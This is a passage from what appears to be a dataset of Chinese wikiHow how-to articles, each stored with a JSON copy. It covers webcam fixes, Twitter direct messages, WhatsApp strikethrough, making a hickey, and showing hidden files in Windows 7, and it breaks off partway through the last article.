。\\n在“此相机的使用权限已关闭”下单击“改变”。\\n确保切换开关已打开。\\n确保“允许应用程序启用摄像头”下的切换开关处于“开启”状态。\\n向下滚动鼠标，挨个检查需访问摄像头的应用程序的切换开关是否打开。\"}, {\"编号\": 4, \"标题\": \"检查网络摄像头是否在设备管理器（仅限Window操作系统）中启用。\", \"描述\": \"通过以下步骤确认网络摄像头已在设备管理器中启用：\\n右键单击“Window开始”菜单。\\n点击。\\n双击或者。\\n右键单击摄像头。\\n点击。\"}, {\"编号\": 5, \"标题\": \"更新摄像头的驱动器。\", \"描述\": \"你也可以检查设备管理器里的摄像头驱动器是否需要更新。按照下面的方法判断摄像头是否需要更新：\\n右键单击\\n单击。\\n双击或。\\n右键单击摄像头。\\n单击。\"}, {\"编号\": 6, \"标题\": \"重新设计系统控制器（仅限于Mac操作系统）。\", \"描述\": \"如果苹果电脑上的摄像头不工作了，就重新设置系统控制器。重设系统控制器的步骤如下： \\n关闭苹果电脑。\\n同时按下Shift + Control + Option，并保持7秒。\\n按下电源开关，保持7秒，同时依然按下Shift + Control + Option 。\\n放开所有按键，等待几秒钟。\\n打开电脑。\"}, {\"编号\": 7, \"标题\": \"检查将要打开的应用程序中摄像头的设置情况。\", \"描述\": \"如果摄像头只在某个应用程序中不能使用，你可能需要专门设置。当你有多个摄像头时，这么做尤其有必要。应用程序不同，摄像头设置选项的位置也不一样。总的说来，只要打开“设置”或“选择”菜单，然后进入“视屏”菜单就可以了。\"}, {\"编号\": 8, \"标题\": \"检查摄像头是否在其它应用程序中运行。\", \"描述\": \"只要有应用程序在使用摄像头，其它应用程序就无法将摄像头打开。所以，在打开需要启用摄像头的新应用程序之前，你要先将其它所有应用程序关闭。\"}, {\"编号\": 9, \"标题\": \"更换摄像头。\", \"描述\": \"如果摄像头没被禁用，驱动器刚更新，摄像头的电源线也牢牢插在USB接口上，可摄像头就是不工作，这说明摄像头可能坏了，该换新的了。也可能摄像头太旧，和新的设备不兼容。\"}]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,737 | 如何在推特上发送私信 | 1. 在手机上发送私信
1-1. 打开Twitter。
如果你还没有注册，可以先了解如何注册Twitter账号。
1-2. 点击信封图标。
它位于屏幕右下角。
1-3. 点击新私信图标。
它是位于屏幕右上角一个带加号的对话框。
1-4. 输入用户名字。
1-5. 点击对方用户名。
他们的用户名会出现在名字下方。
1-6. 点击“下一步”。
1-7. 在文本框内输入信息。
你还可以通过点击相应图标在信息内添加图片、动图或表情。
1-8. 点击“发送”。
它位于文本框右侧，需要输入文字、图片、动图或表情才会出现。
用户在收到私信时是否会有通知取决于他的推送通知设置。
2. 在网页上发送私信
2-1. 打开 www.twitter.com。
2-2. 登录。
如果你已经登录，打开网页后就会直接进入推特页面。如果你还没有账号，就先注册一个。
2-3. 点击“私信”。
它位于屏幕左上方，在“通知”和推特图标之间。
2-4. 点击“新私信”。
2-5. 输入用户的名字。
有些用户设置为只接收关注的人的私信。
2-6. 按 回车。
2-7. 点击“下一步”。
它位于窗口右下角，点击后将打开对话窗。
2-8. 输入信息。
文本框位于窗口底部。
点击文本框右侧相应的图标可以添加表情、动图以及图片。
2-9. 点击发送。
它位于窗口右下角，在输入信息或是添加了表情、动图、图片后才可以点击。
用户在收到私信时是否会有通知取决于他的推送通知设置。
小提示
在你私信某人后，如果他回复了你，你可以直接点击对话框来继续对话。
你也可以在你的主页上点击信封图标来直接发送信息。
警告
给没有关注的人发送私信可能会被对方误认为骚扰信息，从而取关或是屏蔽你。
私信在发送后无法撤回。
| {
"create_time": "20230517 11:02:19",
"回答明细": "{\"回答\": \"1. 在手机上发送私信\\n1-1. 打开Twitter。\\n如果你还没有注册，可以先了解如何注册Twitter账号。\\n1-2. 点击信封图标。\\n它位于屏幕右下角。\\n1-3. 点击新私信图标。\\n它是位于屏幕右上角一个带加号的对话框。\\n1-4. 输入用户名字。\\n\\n1-5. 点击对方用户名。\\n他们的用户名会出现在名字下方。\\n1-6. 点击“下一步”。\\n\\n1-7. 在文本框内输入信息。\\n你还可以通过点击相应图标在信息内添加图片、动图或表情。\\n1-8. 点击“发送”。\\n它位于文本框右侧，需要输入文字、图片、动图或表情才会出现。\\n用户在收到私信时是否会有通知取决于他的推送通知设置。\\n2. 在网页上发送私信\\n2-1. 打开 www.twitter.com。\\n\\n2-2. 登录。\\n如果你已经登录，打开网页后就会直接进入推特页面。如果你还没有账号，就先注册一个。\\n2-3. 点击“私信”。\\n它位于屏幕左上方，在“通知”和推特图标之间。\\n2-4. 点击“新私信”。\\n\\n2-5. 输入用户的名字。\\n有些用户设置为只接收关注的人的私信。\\n2-6. 按 回车。\\n\\n2-7. 点击“下一步”。\\n它位于窗口右下角，点击后将打开对话窗。\\n2-8. 输入信息。\\n文本框位于窗口底部。\\n点击文本框右侧相应的图标可以添加表情、动图以及图片。\\n2-9. 点击发送。\\n它位于窗口右下角，在输入信息或是添加了表情、动图、图片后才可以点击。\\n用户在收到私信时是否会有通知取决于他的推送通知设置。\\n小提示\\n在你私信某人后，如果他回复了你，你可以直接点击对话框来继续对话。\\n你也可以在你的主页上点击信封图标来直接发送信息。\\n警告\\n给没有关注的人发送私信可能会被对方误认为骚扰信息，从而取关或是屏蔽你。\\n私信在发送后无法撤回。\\n\", \"简要回答\": \"1. 打开Twitter。\\n2. 点击 私信（Message）。\\n3. 点击屏幕右上方的新私信图标。\\n4. 输入对方名字，点击对方的用户名。\\n5. 点击 下一步（Next）。\\n6. 输入信息。\\n7. 点击 发送（Send）。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"在手机上发送私信\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开Twitter。\", \"描述\": \"如果你还没有注册，可以先了解如何注册Twitter账号。\"}, {\"编号\": 2, \"标题\": \"点击信封图标。\", \"描述\": \"它位于屏幕右下角。\"}, {\"编号\": 3, \"标题\": \"点击新私信图标。\", \"描述\": \"它是位于屏幕右上角一个带加号的对话框。\"}, {\"编号\": 4, \"标题\": \"输入用户名字。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"点击对方用户名。\", \"描述\": \"他们的用户名会出现在名字下方。\"}, {\"编号\": 6, \"标题\": \"点击“下一步”。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"在文本框内输入信息。\", \"描述\": \"你还可以通过点击相应图标在信息内添加图片、动图或表情。\"}, {\"编号\": 8, \"标题\": \"点击“发送”。\", \"描述\": \"它位于文本框右侧，需要输入文字、图片、动图或表情才会出现。\\n用户在收到私信时是否会有通知取决于他的推送通知设置。\"}]}, {\"编号\": 2, \"标题\": \"在网页上发送私信\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开 www.twitter.com。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"登录。\", \"描述\": \"如果你已经登录，打开网页后就会直接进入推特页面。如果你还没有账号，就先注册一个。\"}, {\"编号\": 3, \"标题\": \"点击“私信”。\", \"描述\": \"它位于屏幕左上方，在“通知”和推特图标之间。\"}, {\"编号\": 4, \"标题\": \"点击“新私信”。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"输入用户的名字。\", \"描述\": \"有些用户设置为只接收关注的人的私信。\"}, {\"编号\": 6, \"标题\": \"按 回车。\", \"描述\": \"\"}, {\"编号\": 7, \"标题\": \"点击“下一步”。\", \"描述\": \"它位于窗口右下角，点击后将打开对话窗。\"}, {\"编号\": 8, \"标题\": \"输入信息。\", \"描述\": \"文本框位于窗口底部。\\n点击文本框右侧相应的图标可以添加表情、动图以及图片。\"}, {\"编号\": 9, \"标题\": \"点击发送。\", \"描述\": \"它位于窗口右下角，在输入信息或是添加了表情、动图、图片后才可以点击。\\n用户在收到私信时是否会有通知取决于他的推送通知设置。\"}], \"小提示\": [\"在你私信某人后，如果他回复了你，你可以直接点击对话框来继续对话。\\n\", \"你也可以在你的主页上点击信封图标来直接发送信息。\\n\"], \"注意事项\": [\"给没有关注的人发送私信可能会被对方误认为骚扰信息，从而取关或是屏蔽你。\\n\", \"私信在发送后无法撤回。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,738 | 如何在WhatsApp消息上添加删除线 | 1. iOS
1-1. 打开WhatsApp。
1-2. 点击对话。
它位于屏幕的底部。
1-3. 点击要添加删除线的文字所在的对话。
1-4. 点击文本框。
它位于屏幕的底部。随后会弹出键盘。
1-5. 输入消息，在删除线的开始位置前停止。
1-6. 输入~。
这是删除线的起始标记。
在iOS设备上，点击123或.?123，然后点击按钮，即可找到“~”。点击~，它是第二排左数第四个按钮。
1-7. 输入要添加删除线的文字。
第一个字和“~”之间不要留空格。
1-8. 在要添加删除线的文字末尾输入“~”。
这是删除线的结束标记。
在最后一个字和“~”之间不要留空格。随后“~”之间的文字上会出现删除线。
1-9. 继续输入消息的剩余部分。
1-10. 点击“发送”箭头。
消息将显示在对话历史记录中，文字上会显示删除线，但不会显示两边的“~”标记。
2. Android
2-1. 打开WhatsApp。
2-2. 点击对话。
它位于屏幕的顶部。
2-3. 点击要添加删除线的文字所在的对话。
2-4. 点击文本框。
它位于屏幕的底部。随后会弹出键盘。
2-5. 输入消息，在删除线的开始位置前停止。
2-6. 输入~。
这是删除线的起始标记。
在安卓设备上，点击屏幕左下角的Sym，然后点击1/2，即可找到“~”。点击~，它是第二排左数第二个按钮。
2-7. 输入要添加删除线的文字。
第一个字和“~”之间不要留空格。
2-8. 在要添加删除线的文字末尾输入“~”。
这是删除线的结束标记。
在最后一个字和“~”之间不要留空格。随后“~”之间的文字上会出现删除线。
2-9. 继续输入消息的剩余部分。
2-10. 点击“发送”箭头。
消息将显示在对话历史记录中，文字上会显示删除线，但不会显示两边的“~”标记。
| {
"create_time": "20230517 11:02:19",
"回答明细": "{\"回答\": \"1. iOS\\n1-1. 打开WhatsApp。\\n\\n1-2. 点击对话。\\n它位于屏幕的底部。\\n1-3. 点击要添加删除线的文字所在的对话。\\n\\n1-4. 点击文本框。\\n它位于屏幕的底部。随后会弹出键盘。\\n1-5. 输入消息，在删除线的开始位置前停止。\\n\\n1-6. 输入~。\\n这是删除线的起始标记。\\n在iOS设备上，点击123或.?123，然后点击按钮，即可找到“~”。点击~，它是第二排左数第四个按钮。\\n1-7. 输入要添加删除线的文字。\\n第一个字和“~”之间不要留空格。\\n1-8. 在要添加删除线的文字末尾输入“~”。\\n这是删除线的结束标记。\\n在最后一个字和“~”之间不要留空格。随后“~”之间的文字上会出现删除线。\\n1-9. 继续输入消息的剩余部分。\\n\\n1-10. 点击“发送”箭头。\\n消息将显示在对话历史记录中，文字上会显示删除线，但不会显示两边的“~”标记。\\n2. Android\\n2-1. 打开WhatsApp。\\n\\n2-2. 点击对话。\\n它位于屏幕的顶部。\\n2-3. 点击要添加删除线的文字所在的对话。\\n\\n2-4. 点击文本框。\\n它位于屏幕的底部。随后会弹出键盘。\\n2-5. 输入消息，在删除线的开始位置前停止。\\n\\n2-6. 输入~。\\n这是删除线的起始标记。\\n在安卓设备上，点击屏幕左下角的Sym，然后点击1/2，即可找到“~”。点击~，它是第二排左数第二个按钮。\\n2-7. 输入要添加删除线的文字。\\n第一个字和“~”之间不要留空格。\\n2-8. 在要添加删除线的文字末尾输入“~”。\\n这是删除线的结束标记。\\n在最后一个字和“~”之间不要留空格。随后“~”之间的文字上会出现删除线。\\n2-9. 继续输入消息的剩余部分。\\n\\n2-10. 点击“发送”箭头。\\n消息将显示在对话历史记录中，文字上会显示删除线，但不会显示两边的“~”标记。\\n\", \"简要回答\": \"你可以在WhatsApp消息上添加删除线，这样就能提示对方你更改或纠正了哪些内容。只需要输入“~”就可以在文字上添加删除线。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"iOS\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开WhatsApp。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"点击对话。\", \"描述\": \"它位于屏幕的底部。\"}, {\"编号\": 3, \"标题\": \"点击要添加删除线的文字所在的对话。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击文本框。\", \"描述\": \"它位于屏幕的底部。随后会弹出键盘。\"}, {\"编号\": 5, \"标题\": \"输入消息，在删除线的开始位置前停止。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"输入~。\", \"描述\": \"这是删除线的起始标记。\\n在iOS设备上，点击123或.?123，然后点击按钮，即可找到“~”。点击~，它是第二排左数第四个按钮。\"}, {\"编号\": 7, \"标题\": \"输入要添加删除线的文字。\", \"描述\": \"第一个字和“~”之间不要留空格。\"}, {\"编号\": 8, \"标题\": \"在要添加删除线的文字末尾输入“~”。\", \"描述\": \"这是删除线的结束标记。\\n在最后一个字和“~”之间不要留空格。随后“~”之间的文字上会出现删除线。\"}, {\"编号\": 9, \"标题\": \"继续输入消息的剩余部分。\", \"描述\": \"\"}, {\"编号\": 10, \"标题\": \"点击“发送”箭头。\", \"描述\": \"消息将显示在对话历史记录中，文字上会显示删除线，但不会显示两边的“~”标记。\"}]}, {\"编号\": 2, \"标题\": \"Android\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开WhatsApp。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"点击对话。\", \"描述\": \"它位于屏幕的顶部。\"}, {\"编号\": 3, \"标题\": \"点击要添加删除线的文字所在的对话。\", \"描述\": \"\"}, {\"编号\": 4, \"标题\": \"点击文本框。\", \"描述\": \"它位于屏幕的底部。随后会弹出键盘。\"}, {\"编号\": 5, \"标题\": \"输入消息，在删除线的开始位置前停止。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"输入~。\", \"描述\": \"这是删除线的起始标记。\\n在安卓设备上，点击屏幕左下角的Sym，然后点击1/2，即可找到“~”。点击~，它是第二排左数第二个按钮。\"}, {\"编号\": 7, \"标题\": \"输入要添加删除线的文字。\", \"描述\": \"第一个字和“~”之间不要留空格。\"}, {\"编号\": 8, \"标题\": \"在要添加删除线的文字末尾输入“~”。\", \"描述\": \"这是删除线的结束标记。\\n在最后一个字和“~”之间不要留空格。随后“~”之间的文字上会出现删除线。\"}, {\"编号\": 9, \"标题\": \"继续输入消息的剩余部分。\", \"描述\": \"\"}, {\"编号\": 10, \"标题\": \"点击“发送”箭头。\", \"描述\": \"消息将显示在对话历史记录中，文字上会显示删除线，但不会显示两边的“~”标记。\"}]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,739 | 如何制造吻痕 | 1. 步骤
1-1. 营造气氛。
别直接扑到伴侣的脖子上，为了做吻痕而做吻痕。先花些时间与他/她深吻，再将你的嘴唇移到他/她的喉部。在喉部和锁骨周围先轻轻地吻，再慢慢地加大力度和频率。如果你的伴侣看起来一副很享受的样子，你差不多就可以开始制造吻痕了。
你可以先问问伴侣允不允许你弄出一个吻痕，不过“吻痕”这个词作为枕边情话来说并不够性感。如果你确实觉得有必要征求伴侣的许可，你可以说“我想在你的脖子上留下一个印记”，再看看他/她如何回应。
1-2. 选择吻痕位置。
吻痕在纤薄柔软部位的皮肤最明显，这也是为什么吻痕常常都在脖子上！不过，还有其他一些部位，比如手肘内侧皮肤和大腿内侧，都是留吻痕的好地方。
记得体贴地选择留下吻痕的位置。如果一个清晰可见的吻痕会让你的伴侣感到非常尴尬，就不要把它弄在脖子中间这种人人都看得见的地方。
如果伴侣头发比较长，后脖颈边上是个不错的位置；或者可以选择锁骨靠近肩膀的位置，这样普通的圆领T恤就能遮盖住。
1-3. 将嘴唇稍稍打开并贴在伴侣的脖子上。
要把嘴唇压入皮肤中和皮肤紧紧贴合，这样才不会漏出空气。做这些事情时，要尽量让你的嘴唇保持柔软，不要紧紧地皱起来。
1-4. 吸吮伴侣的皮肤。
这一步的关键就是要保证吸吮的力度足够弄破皮肤下面的毛细血管，但又不能太用力，否则会弄疼你的伴侣。要记住：
藏起你的牙齿，别咬到你的伴侣。
断断续续吸吮同一部位的皮肤。如果一口气吸吮30秒会让你喘不过气，或者让人觉得很诡异，就先吸吮10秒钟，然后吻吻ta，再在同一部位吸吮10秒钟。
控制一下你的口水。你不会想在伴侣的脖子上留下一滴恶心的口水吧……所以吸吮的同时请尽量把多余的口水咽回去。
1-5. 结束的过程要平缓。
吸吮完成后，那个部位会比平常更敏感，在那里轻轻地亲吻几下比较好。然后再如常继续亲热。
1-6. 等几分钟，吻痕就会显现出来了。
就像你磕碰后淤血一样，吻痕是不会马上出现的，大概要等5-10分钟，而且呈现出的颜色从浅粉到深紫都是有可能的。
1-7. 可以选择把吻痕弄得颜色深一些。
如果你希望它大一些、深一些，可以在同一位置重复以上的步骤。
1-8. 如果伴侣要求你停下你就要停下。
可能你的女朋友不介意身上有一个吻痕，但她不喜欢你在她身上吸吮的感觉，或者她被你吓到了。所以即使你已经开始制造吻痕的“工程”，只要她说“不”，你就一定要尊重她的意愿。
1-9. 想知道怎么隐藏吻痕，请阅读《如何消除吻痕》这篇指南吧。
小提示
始终要保持温柔，不要让你的伴侣受伤。
吸吮的同时别忘了用舌头时常挑逗下那个部位。那个部位会因为你的吸吮变得更敏感，能清晰地感觉到你的每一个动作。欲望被挑起的感觉是非常妙的。[1]
X
研究来源
要确保你有办法把吻痕藏起来，因为家长们八成是不愿意看到的。所以说在冬天做吻痕会比较方便，你可以用围巾、夹克或毛衣把它遮盖住。
可以试试在其他部位制造吻痕，只要那个部位的毛细血管距离皮肤比较近就行，比如手腕、胸部和腹部。
别使劲咬。如果你一定要用牙齿，只能轻轻地细咬。
围巾、高领衫、项圈或是带领子的夹克可以帮你遮盖脖子上的吻痕；长袖T恤可以遮住手臂上的。还可以在吻痕上涂遮瑕霜或拍粉来遮盖。
如果你觉得很舒服，可以小小地咬一口，记住只是小小地“夹”一下。因为可能有人不喜欢这样，所以要注意观察伴侣的反应，看他/她是否有表现出不舒服的样子。不过如果他/她感觉不错，这样做是非常性感的，有助于你们之间爱意的“升温”。
准备做吻痕之前，可以先舔一舔那块皮肤。
要想让吻痕快速消失，可以将一把沾水的勺子放入冰箱中，结了一层冰之后拿出来，让它稍微融化一点，再把勺子按压在吻痕处，就可以消肿。然后用柔软的牙刷在吻痕部位由外至内轻轻刷一刷，让血液流动，就可以消除淤血了。
警告
身上被弄出吻痕是会感到疼的，如果你不喜欢这种感觉，躲开并告诉你的伴侣停下来就好。
如果你的伴侣有血友病，不要做吻痕。另外，如果你的伴侣患有贫血，吻痕会更大、更明显。
| {
"create_time": "20230517 11:02:19",
"回答明细": "{\"回答\": \"1. 步骤\\n1-1. 营造气氛。\\n别直接扑到伴侣的脖子上，为了做吻痕而做吻痕。先花些时间与他/她深吻，再将你的嘴唇移到他/她的喉部。在喉部和锁骨周围先轻轻地吻，再慢慢地加大力度和频率。如果你的伴侣看起来一副很享受的样子，你差不多就可以开始制造吻痕了。\\n你可以先问问伴侣允不允许你弄出一个吻痕，不过“吻痕”这个词作为枕边情话来说并不够性感。如果你确实觉得有必要征求伴侣的许可，你可以说“我想在你的脖子上留下一个印记”，再看看他/她如何回应。\\n1-2. 选择吻痕位置。\\n吻痕在纤薄柔软部位的皮肤最明显，这也是为什么吻痕常常都在脖子上！不过，还有其他一些部位，比如手肘内侧皮肤和大腿内侧，都是留吻痕的好地方。\\n记得体贴地选择留下吻痕的位置。如果一个清晰可见的吻痕会让你的伴侣感到非常尴尬，就不要把它弄在脖子中间这种人人都看得见的地方。\\n如果伴侣头发比较长，后脖颈边上是个不错的位置；或者可以选择锁骨靠近肩膀的位置，这样普通的圆领T恤就能遮盖住。\\n1-3. 将嘴唇稍稍打开并贴在伴侣的脖子上。\\n要把嘴唇压入皮肤中和皮肤紧紧贴合，这样才不会漏出空气。做这些事情时，要尽量让你的嘴唇保持柔软，不要紧紧地皱起来。\\n1-4. 吸吮伴侣的皮肤。\\n这一步的关键就是要保证吸吮的力度足够弄破皮肤下面的毛细血管，但又不能太用力，否则会弄疼你的伴侣。要记住：\\n藏起你的牙齿，别咬到你的伴侣。\\n断断续续吸吮同一部位的皮肤。如果一口气吸吮30秒会让你喘不过气，或者让人觉得很诡异，就先吸吮10秒钟，然后吻吻ta，再在同一部位吸吮10秒钟。\\n控制一下你的口水。你不会想在伴侣的脖子上留下一滴恶心的口水吧……所以吸吮的同时请尽量把多余的口水咽回去。\\n1-5. 结束的过程要平缓。\\n吸吮完成后，那个部位会比平常更敏感，在那里轻轻地亲吻几下比较好。然后再如常继续亲热。\\n1-6. 等几分钟，吻痕就会显现出来了。\\n就像你磕碰后淤血一样，吻痕是不会马上出现的，大概要等5-10分钟，而且呈现出的颜色从浅粉到深紫都是有可能的。\\n1-7. 可以选择把吻痕弄得颜色深一些。\\n如果你希望它大一些、深一些，可以在同一位置重复以上的步骤。\\n1-8. 如果伴侣要求你停下你就要停下。\\n可能你的女朋友不介意身上有一个吻痕，但她不喜欢你在她身上吸吮的感觉，或者她被你吓到了。所以即使你已经开始制造吻痕的“工程”，只要她说“不”，你就一定要尊重她的意愿。\\n1-9. 想知道怎么隐藏吻痕，请阅读《如何消除吻痕》这篇指南吧。\\n\\n小提示\\n始终要保持温柔，不要让你的伴侣受伤。\\n吸吮的同时别忘了用舌头时常挑逗下那个部位。那个部位会因为你的吸吮变得更敏感，能清晰地感觉到你的每一个动作。欲望被挑起的感觉是非常妙的。[1]\\nX\\n研究来源\\n要确保你有办法把吻痕藏起来，因为家长们八成是不愿意看到的。所以说在冬天做吻痕会比较方便，你可以用围巾、夹克或毛衣把它遮盖住。\\n可以试试在其他部位制造吻痕，只要那个部位的毛细血管距离皮肤比较近就行，比如手腕、胸部和腹部。\\n别使劲咬。如果你一定要用牙齿，只能轻轻地细咬。\\n围巾、高领衫、项圈或是带领子的夹克可以帮你遮盖脖子上的吻痕；长袖T恤可以遮住手臂上的。还可以在吻痕上涂遮瑕霜或拍粉来遮盖。\\n如果你觉得很舒服，可以小小地咬一口，记住只是小小地“夹”一下。因为可能有人不喜欢这样，所以要注意观察伴侣的反应，看他/她是否有表现出不舒服的样子。不过如果他/她感觉不错，这样做是非常性感的，有助于你们之间爱意的“升温”。\\n准备做吻痕之前，可以先舔一舔那块皮肤。\\n要想让吻痕快速消失，可以将一把沾水的勺子放入冰箱中，结了一层冰之后拿出来，让它稍微融化一点，再把勺子按压在吻痕处，就可以消肿。然后用柔软的牙刷在吻痕部位由外至内轻轻刷一刷，让血液流动，就可以消除淤血了。\\n警告\\n身上被弄出吻痕是会感到疼的，如果你不喜欢这种感觉，躲开并告诉你的伴侣停下来就好。\\n如果你的伴侣有血友病，不要做吻痕。另外，如果你的伴侣患有贫血，吻痕会更大、更明显。\\n\", \"简要回答\": \"在充满激情的亲热过程中给你的伴侣留下一个吻痕，就能调皮地将他/她标记为“我的所有物”。得到一个吻痕的感觉也很好——如果制造方法正确的话。那么，以下就教你如何给你的伴侣留下一个超棒的、爱意满满的吻痕。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"步骤\", \"步骤\": [{\"编号\": 1, \"标题\": \"营造气氛。\", \"描述\": \"别直接扑到伴侣的脖子上，为了做吻痕而做吻痕。先花些时间与他/她深吻，再将你的嘴唇移到他/她的喉部。在喉部和锁骨周围先轻轻地吻，再慢慢地加大力度和频率。如果你的伴侣看起来一副很享受的样子，你差不多就可以开始制造吻痕了。\\n你可以先问问伴侣允不允许你弄出一个吻痕，不过“吻痕”这个词作为枕边情话来说并不够性感。如果你确实觉得有必要征求伴侣的许可，你可以说“我想在你的脖子上留下一个印记”，再看看他/她如何回应。\"}, {\"编号\": 2, \"标题\": \"选择吻痕位置。\", \"描述\": \"吻痕在纤薄柔软部位的皮肤最明显，这也是为什么吻痕常常都在脖子上！不过，还有其他一些部位，比如手肘内侧皮肤和大腿内侧，都是留吻痕的好地方。\\n记得体贴地选择留下吻痕的位置。如果一个清晰可见的吻痕会让你的伴侣感到非常尴尬，就不要把它弄在脖子中间这种人人都看得见的地方。\\n如果伴侣头发比较长，后脖颈边上是个不错的位置；或者可以选择锁骨靠近肩膀的位置，这样普通的圆领T恤就能遮盖住。\"}, {\"编号\": 3, \"标题\": \"将嘴唇稍稍打开并贴在伴侣的脖子上。\", \"描述\": \"要把嘴唇压入皮肤中和皮肤紧紧贴合，这样才不会漏出空气。做这些事情时，要尽量让你的嘴唇保持柔软，不要紧紧地皱起来。\"}, {\"编号\": 4, \"标题\": \"吸吮伴侣的皮肤。\", \"描述\": \"这一步的关键就是要保证吸吮的力度足够弄破皮肤下面的毛细血管，但又不能太用力，否则会弄疼你的伴侣。要记住：\\n藏起你的牙齿，别咬到你的伴侣。\\n断断续续吸吮同一部位的皮肤。如果一口气吸吮30秒会让你喘不过气，或者让人觉得很诡异，就先吸吮10秒钟，然后吻吻ta，再在同一部位吸吮10秒钟。\\n控制一下你的口水。你不会想在伴侣的脖子上留下一滴恶心的口水吧……所以吸吮的同时请尽量把多余的口水咽回去。\"}, {\"编号\": 5, \"标题\": \"结束的过程要平缓。\", \"描述\": \"吸吮完成后，那个部位会比平常更敏感，在那里轻轻地亲吻几下比较好。然后再如常继续亲热。\"}, {\"编号\": 6, \"标题\": \"等几分钟，吻痕就会显现出来了。\", \"描述\": \"就像你磕碰后淤血一样，吻痕是不会马上出现的，大概要等5-10分钟，而且呈现出的颜色从浅粉到深紫都是有可能的。\"}, {\"编号\": 7, \"标题\": \"可以选择把吻痕弄得颜色深一些。\", \"描述\": \"如果你希望它大一些、深一些，可以在同一位置重复以上的步骤。\"}, {\"编号\": 8, \"标题\": \"如果伴侣要求你停下你就要停下。\", \"描述\": \"可能你的女朋友不介意身上有一个吻痕，但她不喜欢你在她身上吸吮的感觉，或者她被你吓到了。所以即使你已经开始制造吻痕的“工程”，只要她说“不”，你就一定要尊重她的意愿。\"}, {\"编号\": 9, \"标题\": \"想知道怎么隐藏吻痕，请阅读《如何消除吻痕》这篇指南吧。\", \"描述\": \"\"}], \"小提示\": [\"始终要保持温柔，不要让你的伴侣受伤。\\n\", \"吸吮的同时别忘了用舌头时常挑逗下那个部位。那个部位会因为你的吸吮变得更敏感，能清晰地感觉到你的每一个动作。欲望被挑起的感觉是非常妙的。[1]\\nX\\n研究来源\\n\", \"要确保你有办法把吻痕藏起来，因为家长们八成是不愿意看到的。所以说在冬天做吻痕会比较方便，你可以用围巾、夹克或毛衣把它遮盖住。\\n\", \"可以试试在其他部位制造吻痕，只要那个部位的毛细血管距离皮肤比较近就行，比如手腕、胸部和腹部。\\n\", \"别使劲咬。如果你一定要用牙齿，只能轻轻地细咬。\\n\", \"围巾、高领衫、项圈或是带领子的夹克可以帮你遮盖脖子上的吻痕；长袖T恤可以遮住手臂上的。还可以在吻痕上涂遮瑕霜或拍粉来遮盖。\\n\", \"如果你觉得很舒服，可以小小地咬一口，记住只是小小地“夹”一下。因为可能有人不喜欢这样，所以要注意观察伴侣的反应，看他/她是否有表现出不舒服的样子。不过如果他/她感觉不错，这样做是非常性感的，有助于你们之间爱意的“升温”。\\n\", \"准备做吻痕之前，可以先舔一舔那块皮肤。\\n\", \"要想让吻痕快速消失，可以将一把沾水的勺子放入冰箱中，结了一层冰之后拿出来，让它稍微融化一点，再把勺子按压在吻痕处，就可以消肿。然后用柔软的牙刷在吻痕部位由外至内轻轻刷一刷，让血液流动，就可以消除淤血了。\\n\"], \"注意事项\": [\"身上被弄出吻痕是会感到疼的，如果你不喜欢这种感觉，躲开并告诉你的伴侣停下来就好。\\n\", \"如果你的伴侣有血友病，不要做吻痕。另外，如果你的伴侣患有贫血，吻痕会更大、更明显。\\n\"]}]}}",
"问题明细": "",
"扩展字段": ""
} | wikihow |
14,740 | 如何显示Windows 7中的隐藏文件 | 1. 使用文件夹选项显示Windows 7中的隐藏文件
1-1. 点击Windows 7开始按钮。
1-2. 点击控制面板。
你也可以在点击开始按钮后在搜索栏中输入“文件夹选项”。从结果列表中选择控制面板中的“文件夹选项”。
1-3. 点击“外观和个性化"。
1-4. 点击“文件夹选项"。
1-5. 在文件夹选项窗口中点击查看选项卡。
1-6. 在"高级设置"中点击“显示隐藏文件，文件夹和驱动器”并点击"确定"。
1-7. 在"隐藏文件和文件夹"类别中选择“显示隐藏文件，文件夹和驱动器”单选按钮。
1-8. 点击文件夹选项窗口底部的“确定”。
1-9. 关闭控制面板窗口。
你现在应该能够查看Windows 7中的隐藏文件和文件夹以及隐藏的驱动器。
1-10. 进入C:\ 驱动器测试操作是否成功。
找出名为“ProgramData”的程序。如果你能看到该程序，说明你现在可以查看隐藏文件和文件夹了。
1-11. 请注意隐藏文件和文件夹是以灰色底纹的图标显示的。
这是区分隐藏文件和非隐藏文件的方法。
2. 显示受保护的操作系统文件
2-1. 点击Windows 7开始按钮。
2-2. 点击控制面板。
2-3. 点击“外观和个性化"。
2-4. 点击“文件夹选项"。
2-5. 点击“查看"。
2-6. 点击"高级设置"中的“显示隐藏文件，文件夹和驱动器”并点击“确定"。
2-7. 点击“应用"。
2-8. 取消选择“隐藏受保护的操作系统文件”复选框。
2-9. 你将看到询问你是否确定要进行该操作的对话框。
2-10. 点击“是"。
2-11. 点击“确定"。
3. 使用注册表编辑器显示隐藏文件
3-1. 点击开始按钮。
3-2. 在搜索栏中输入“regedit”并按回车键。
你必须以管理员身份登录才能进行这些步骤。
3-3. 如果看到提示请点击“是”以便确认你的管理员身份。
3-4. 在regedit中找出该键：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced。
3-5. 在高级窗口的右侧，可以看到该键的值。
3-6. 找到值“Hidden"。
3-7. 右击它并将其更改为1。
4. 使用注册表编辑器显示受保护的操作系统文件
4-1. 点击开始按钮。
4-2. 在搜索栏中输入“regedit”并按回车键。
4-3. 如果看到提示请点击“是”以便确认你的管理员身份。
